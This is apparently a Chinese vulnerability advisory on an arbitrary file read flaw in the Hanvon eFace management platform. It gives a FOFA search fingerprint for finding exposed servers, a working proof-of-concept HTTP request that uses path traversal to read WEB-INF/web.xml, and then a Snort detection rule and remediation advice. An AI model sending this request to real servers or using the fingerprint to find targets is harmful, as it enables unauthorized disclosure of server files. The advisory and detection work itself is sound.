跳转至

汉王e脸通综合管理平台 exportResourceByFilePath.do 任意文件读取漏洞

汉王e脸通综合管理平台 exportResourceByFilePath.do 任意文件读取漏洞，从而导致读取服务器上的敏感文件。

影响版本

汉王e脸通综合管理平台

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：icon_hash="1380907357"

POC/EXP：

GET /manage/intercom/..;/..;/manage/leaveList/exportResourceByFilePath.do?filePath=/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

image-20250618103815176

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Hanvon eFace - Arbitrary File Read via exportResourceByFilePath.do (CVE-202X-XXXX)";
    flow:to_server,established;
    content:"GET"; http_method;
    pcre:"/\/manage\/intercom\/\.\.%3B\/\.\.%3B\/manage\/leaveList\/exportResourceByFilePath\.do/i";
    pcre:"/filePath=[^&\s]*\/WEB-INF\/web\.xml/i";
    metadata:service http;
    metadata:affected_product "汉王e脸通综合管理平台";
    metadata:attack_type "Path Traversal + File Disclosure";
    metadata:severity "high";
    reference:url,www.example.com/vulndb/hanvon-eface-file-read;
    classtype:web-application-attack;
    sid:1000142;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。